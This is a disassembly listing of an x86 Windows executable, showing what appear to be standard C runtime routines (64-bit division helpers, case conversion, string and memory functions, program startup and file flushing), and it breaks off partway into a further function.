; =============== S U B	R O U T	I N E =======================================



sub_41DC10	proc near		; CODE XREF: sub_416E8B+3Fp
					; sub_41B146+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41DC32
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DC73
; ---------------------------------------------------------------------------


loc_41DC32:				; CODE XREF: sub_41DC10+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41DC40:				; CODE XREF: sub_41DC10+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DC40
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DC6E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41DC6E
		jb	short loc_41DC6F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41DC6F


loc_41DC6E:				; CODE XREF: sub_41DC10+4Ej
					; sub_41DC10+54j
		dec	esi


loc_41DC6F:				; CODE XREF: sub_41DC10+56j
					; sub_41DC10+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41DC73:				; CODE XREF: sub_41DC10+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41DC10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DC80	proc near		; CODE XREF: sub_416E8B+2Dp
					; sub_41B146+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41DCA1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41DCF1
; ---------------------------------------------------------------------------


loc_41DCA1:				; CODE XREF: sub_41DC80+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41DCAF:				; CODE XREF: sub_41DC80+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DCAF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41DCDA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41DCDA
		jb	short loc_41DCE2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41DCE2


loc_41DCDA:				; CODE XREF: sub_41DC80+4Aj
					; sub_41DC80+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41DCE2:				; CODE XREF: sub_41DC80+52j
					; sub_41DC80+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41DCF1:				; CODE XREF: sub_41DC80+1Fj
		pop	ebx
		retn	10h
sub_41DC80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DD00	proc near		; CODE XREF: sub_416F9A+5Fp
					; sub_416F9A+90p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41DD21
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41DD21:				; CODE XREF: sub_41DD00+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41DD3D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41DD3D:				; CODE XREF: sub_41DD00+27j
		or	eax, eax
		jnz	short loc_41DD59
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DD9A
; ---------------------------------------------------------------------------


loc_41DD59:				; CODE XREF: sub_41DD00+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41DD67:				; CODE XREF: sub_41DD00+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41DD67
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DD95
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41DD95
		jb	short loc_41DD96
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41DD96


loc_41DD95:				; CODE XREF: sub_41DD00+85j
					; sub_41DD00+8Bj
		dec	esi


loc_41DD96:				; CODE XREF: sub_41DD00+8Dj
					; sub_41DD00+93j
		xor	edx, edx
		mov	eax, esi


loc_41DD9A:				; CODE XREF: sub_41DD00+57j
		dec	edi
		jnz	short loc_41DDA4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41DDA4:				; CODE XREF: sub_41DD00+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41DD00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DDAA	proc near		; CODE XREF: sub_417646+BFp
					; sub_417646+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DE0EC
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41DDDE
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41DE45


loc_41DDC6:				; CODE XREF: sub_41DDAA+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41DDD7
		cmp	cl, 7Ah
		jg	short loc_41DDD7
		sub	cl, 20h
		mov	[edx], cl


loc_41DDD7:				; CODE XREF: sub_41DDAA+21j
					; sub_41DDAA+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41DDC6
		jmp	short loc_41DE45
; ---------------------------------------------------------------------------


loc_41DDDE:				; CODE XREF: sub_41DDAA+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_423383
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41DE37
		push	edi
		call	sub_41BCA5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41DE37
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DE0EC
		call	sub_423383
		add	esp, 20h
		test	eax, eax
		jz	short loc_41DE37
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41C680
		pop	ecx
		pop	ecx


loc_41DE37:				; CODE XREF: sub_41DDAA+53j
					; sub_41DDAA+61j ...
		push	[ebp+var_4]
		call	sub_41B881
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_41DE45:				; CODE XREF: sub_41DDAA+1Aj
					; sub_41DDAA+32j
		pop	ebx
		leave
		retn
sub_41DDAA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DE48	proc near		; CODE XREF: sub_41802F+1A3p

arg_0		= dword	ptr  4

		cmp	dword_43F1F4, 1
		jle	short loc_41DE5F
		push	4
		push	[esp+4+arg_0]
		call	sub_41FD15
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DE5F:				; CODE XREF: sub_41DE48+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43EFE8
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41DE48	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DE70	proc near		; CODE XREF: sub_420D10+76p
					; sub_420D10+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43F1F4, 1
		jle	short loc_41DE87
		push	8
		push	[esp+4+arg_0]
		call	sub_41FD15
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DE87:				; CODE XREF: sub_41DE70+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43EFE8
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41DE70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DEA0	proc near		; CODE XREF: sub_41842E+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41DEEC
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41DEED
		test	eax, 1
		jz	short loc_41DECD
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41DF1A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41DEEA


loc_41DECD:				; CODE XREF: sub_41DEA0+20j
					; sub_41DEA0+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41DF1A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41DF1A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41DECD


loc_41DEEA:				; CODE XREF: sub_41DEA0+2Bj
					; sub_41DEA0+84j
		pop	edi
		pop	esi

locret_41DEEC:				; CODE XREF: sub_41DEA0+6j
		retn
; ---------------------------------------------------------------------------


loc_41DEED:				; CODE XREF: sub_41DEA0+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41DF22
		repe cmpsd
		jz	short loc_41DF22
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41DF15
		cmp	ch, dh
		jnz	short loc_41DF15
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41DF15
		cmp	ch, dh


loc_41DF15:				; CODE XREF: sub_41DEA0+63j
					; sub_41DEA0+67j ...
		mov	eax, 0


loc_41DF1A:				; CODE XREF: sub_41DEA0+26j
					; sub_41DEA0+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DF22:				; CODE XREF: sub_41DEA0+55j
					; sub_41DEA0+59j
		test	eax, eax
		jz	short loc_41DEEA
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41DF15
		dec	eax
		jz	short loc_41DF49
		cmp	dh, ch
		jnz	short loc_41DF15
		dec	eax
		jz	short loc_41DF49
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41DF15
		dec	eax


loc_41DF49:				; CODE XREF: sub_41DEA0+8Fj
					; sub_41DEA0+96j
		pop	edi
		pop	esi
		retn
sub_41DEA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DF4C	proc near		; CODE XREF: sub_418745+6p
					; sub_418763+48p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DE0EC, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41DF79
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41E012
		cmp	eax, 5Ah
		jg	loc_41E012
		add	eax, 20h
		jmp	loc_41E012
; ---------------------------------------------------------------------------


loc_41DF79:				; CODE XREF: sub_41DF4C+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41DFAD
		cmp	dword_43F1F4, esi
		jle	short loc_41DF9B
		push	esi
		push	ebx
		call	sub_41FD15
		pop	ecx
		pop	ecx
		jmp	short loc_41DFA5
; ---------------------------------------------------------------------------


loc_41DF9B:				; CODE XREF: sub_41DF4C+42j
		mov	eax, off_43EFE8
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41DFA5:				; CODE XREF: sub_41DF4C+4Dj
		test	eax, eax
		jnz	short loc_41DFAD


loc_41DFA9:				; CODE XREF: sub_41DF4C+ADj
		mov	eax, ebx
		jmp	short loc_41E012
; ---------------------------------------------------------------------------


loc_41DFAD:				; CODE XREF: sub_41DF4C+3Aj
					; sub_41DF4C+5Bj
		mov	edx, off_43EFE8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41DFD1
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41DFDA
; ---------------------------------------------------------------------------


loc_41DFD1:				; CODE XREF: sub_41DF4C+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41DFDA:				; CODE XREF: sub_41DF4C+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DE0EC
		call	sub_423383
		add	esp, 20h
		test	eax, eax
		jz	short loc_41DFA9
		cmp	eax, esi
		jnz	short loc_41E005
		movzx	eax, [ebp+var_4]
		jmp	short loc_41E012
; ---------------------------------------------------------------------------


loc_41E005:				; CODE XREF: sub_41DF4C+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41E012:				; CODE XREF: sub_41DF4C+16j
					; sub_41DF4C+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DF4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E017	proc near		; CODE XREF: sub_418D6C+9Cp
					; sub_419D4E+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41E02E


loc_41E024:				; CODE XREF: sub_41E017+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41E024


loc_41E02E:				; CODE XREF: sub_41E017+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41E017	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E034	proc near		; CODE XREF: sub_418D6C+6Ep
					; sub_418D6C+7Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41E101
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41E12E
		cmp	dword_4DE0EC, esi
		jnz	short loc_41E085
		cmp	edi, esi
		jbe	loc_41E12E


loc_41E064:				; CODE XREF: sub_41E034+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41E12E
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41E064
		jmp	loc_41E12E
; ---------------------------------------------------------------------------


loc_41E085:				; CODE XREF: sub_41E034+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_428184
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DE0FC
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_41E12D
		call	dword_42808C	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_41E0BF


loc_41E0B0:				; CODE XREF: sub_41E034+CBj
					; sub_41E034+F7j
		mov	dword_4DE02C, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E12E
; ---------------------------------------------------------------------------


loc_41E0BF:				; CODE XREF: sub_41E034+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41E0C7:				; CODE XREF: sub_41E034+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41E0E9
		mov	edx, off_43EFE8
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41E0DE
		inc	eax


loc_41E0DE:				; CODE XREF: sub_41E034+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41E0C7


loc_41E0E9:				; CODE XREF: sub_41E034+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DE0FC
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_41E12E
		jmp	short loc_41E0B0
; ---------------------------------------------------------------------------


loc_41E101:				; CODE XREF: sub_41E034+Fj
		cmp	dword_4DE0EC, esi
		jnz	short loc_41E114
		push	[ebp+arg_4]
		call	sub_41B7B0
		pop	ecx
		jmp	short loc_41E12E
; ---------------------------------------------------------------------------


loc_41E114:				; CODE XREF: sub_41E034+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DE0FC
		call	dword_428184	; MultiByteToWideChar
		cmp	eax, esi
		jz	short loc_41E0B0


loc_41E12D:				; CODE XREF: sub_41E034+6Bj
		dec	eax


loc_41E12E:				; CODE XREF: sub_41E034+1Aj
					; sub_41E034+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41E034	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_428720
		push	offset sub_423D9C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		call	dword_4281B4	; GetVersion
		xor	edx, edx
		mov	dl, ah
		mov	dword_4DE044, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	dword_4DE040, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	dword_4DE03C, ecx
		shr	eax, 10h
		mov	dword_4DE038, eax
		xor	esi, esi
		push	esi
		call	sub_41E5D2
		pop	ecx
		test	eax, eax
		jnz	short loc_41E19F
		push	1Ch
		call	sub_41E24E
		pop	ecx


loc_41E19F:				; CODE XREF: .packed:0041E195j
		mov	[ebp-4], esi
		call	sub_423BE6
		call	dword_4281B0	; GetCommandLineA
		mov	dword_4DF6CC, eax
		call	sub_423AB4
		mov	dword_4DE0A0, eax
		call	sub_423867
		call	sub_4237AE
		call	sub_41BF54
		mov	[ebp-30h], esi
		lea	eax, [ebp-5Ch]
		push	eax
		call	dword_4281AC	; GetStartupInfoA
		call	sub_423756
		mov	[ebp-64h], eax
		test	byte ptr [ebp-30h], 1
		jz	short loc_41E1EC
		movzx	eax, word ptr [ebp-2Ch]
		jmp	short loc_41E1EF
; ---------------------------------------------------------------------------


loc_41E1EC:				; CODE XREF: .packed:0041E1E4j
		push	0Ah
		pop	eax


loc_41E1EF:				; CODE XREF: .packed:0041E1EAj
		push	eax
		push	dword ptr [ebp-64h]
		push	esi
		push	esi
		call	dword_42809C	; GetModuleHandleA
		push	eax
		call	sub_401252
		mov	[ebp-60h], eax
		push	eax
		call	sub_41BF81
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-68h], ecx
		push	eax
		push	ecx
		call	sub_4235D2
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	sub_41BF92

; =============== S U B	R O U T	I N E =======================================



sub_41E229	proc near		; CODE XREF: sub_41D822+16p
					; sub_422F2B+4Dp ...

arg_0		= dword	ptr  4

		cmp	dword_4DE0A8, 1
		jnz	short loc_41E237
		call	sub_423E74


loc_41E237:				; CODE XREF: sub_41E229+7j
		push	[esp+arg_0]
		call	sub_423EAD
		push	0FFh
		call	off_43CFB0
		pop	ecx
		pop	ecx
		retn
sub_41E229	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E24E	proc near		; CODE XREF: .packed:0041E199p

arg_0		= dword	ptr  4

		cmp	dword_4DE0A8, 1
		jnz	short loc_41E25C
		call	sub_423E74


loc_41E25C:				; CODE XREF: sub_41E24E+7j
		push	[esp+arg_0]
		call	sub_423EAD
		pop	ecx
		push	0FFh
		call	dword_428068	; ExitProcess
		retn
sub_41E24E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E272	proc near		; CODE XREF: sub_41B82B+2Ap
					; sub_42425E+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DE460
		jnb	loc_41E30C
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DE360h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41E30C
		push	edi
		call	sub_424186
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E2EB
		cmp	edi, 1
		jz	short loc_41E2B9
		cmp	edi, 2
		jnz	short loc_41E2CF


loc_41E2B9:				; CODE XREF: sub_41E272+40j
		push	2
		call	sub_424186
		push	1
		mov	ebp, eax
		call	sub_424186
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41E2EB


loc_41E2CF:				; CODE XREF: sub_41E272+45j
		push	edi
		call	sub_424186
		pop	ecx
		push	eax
		call	dword_42806C	; CloseHandle
		test	eax, eax
		jnz	short loc_41E2EB
		call	dword_42808C	; RtlGetLastWin32Error
		mov	ebp, eax
		jmp	short loc_41E2ED
; ---------------------------------------------------------------------------


loc_41E2EB:				; CODE XREF: sub_41E272+3Bj
					; sub_41E272+5Bj ...
		xor	ebp, ebp


loc_41E2ED:				; CODE XREF: sub_41E272+77j
		push	edi
		call	sub_42410C
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41E308
		push	ebp
		call	sub_420BDF
		pop	ecx
		jmp	short loc_41E31D
; ---------------------------------------------------------------------------


loc_41E308:				; CODE XREF: sub_41E272+8Bj
		xor	eax, eax
		jmp	short loc_41E320
; ---------------------------------------------------------------------------


loc_41E30C:				; CODE XREF: sub_41E272+Ej
					; sub_41E272+2Fj
		and	dword_4DE030, 0
		mov	dword_4DE02C, 9


loc_41E31D:				; CODE XREF: sub_41E272+94j
		or	eax, 0FFFFFFFFh


loc_41E320:				; CODE XREF: sub_41E272+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E272	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E325	proc near		; CODE XREF: sub_41B82B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41E34E
		test	al, 8
		jz	short loc_41E34E
		push	dword ptr [esi+8]
		call	sub_41B881
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41E34E:				; CODE XREF: sub_41E325+Aj
					; sub_41E325+Ej
		pop	esi
		retn
sub_41E325	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E350	proc near		; CODE XREF: sub_41E3F0+2Dp
					; sub_41E3F0+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41E362
		push	esi
		call	sub_41E3F0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E362:				; CODE XREF: sub_41E350+7j
		push	esi
		call	sub_41E38B
		test	eax, eax
		pop	ecx
		jz	short loc_41E372
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E372:				; CODE XREF: sub_41E350+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41E387
		push	dword ptr [esi+10h]
		call	sub_4241C3
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41E387:				; CODE XREF: sub_41E350+26j
		xor	eax, eax
		pop	esi
		retn
sub_41E350	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E38B	proc near		; CODE XREF: sub_41B82B+1Ap
					; sub_41D9ED+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41E3D8
		test	ax, 108h
		jz	short loc_41E3D8
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41E3D8
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_4231D6
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41E3D1
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41E3D8
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41E3D8
; ---------------------------------------------------------------------------


loc_41E3D1:				; CODE XREF: sub_41E38B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41E3D8:				; CODE XREF: sub_41E38B+14j
					; sub_41E38B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41E38B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3E7	proc near		; CODE XREF: sub_422FD0p
		push	1
		call	sub_41E3F0
		pop	ecx
		retn
sub_41E3E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3F0	proc near		; CODE XREF: sub_41E350+Ap
					; sub_41E3E7+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DF480, esi
		jle	short loc_41E44E


loc_41E401:				; CODE XREF: sub_41E3F0+5Cj
		mov	eax, dword_4DE464
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41E445
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41E445
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41E42B
		push	eax
		call	sub_41E350
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E445
		inc	ebx
		jmp	short loc_41E445
; ---------------------------------------------------------------------------


loc_41E42B:				; CODE XREF: sub_41E3F0+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41E445
		test	cl, 2
		jz	short loc_41E445
		push	eax
		call	sub_41E350
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41E445
		or	edi, eax


loc_41E445:				; CODE XREF: sub_41E3F0+1Bj
					; sub_41E3F0+23j ...
		inc	esi
		cmp	esi, dword_4DF480
		jl	short loc_41E401


loc_41E44E:				; CODE XREF: sub_41E3F0+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41E459
		mov	eax, edi


loc_41E459:				; CODE XREF: sub_41E3F0+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41E3F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E45D	proc near		; CODE XREF: sub_41E48A+136p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		call	dword_42809C	; GetModuleHandleA
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41E488
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41E488
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41E488:				; CODE XREF: sub_41E45D+15j
					; sub_41E45D+1Cj
		pop	esi
		retn
sub_41E45D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E48A	proc near		; CODE XREF: sub_41E5D2+20p

var_122C	= byte ptr -122Ch
var_19C		= byte ptr -19Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
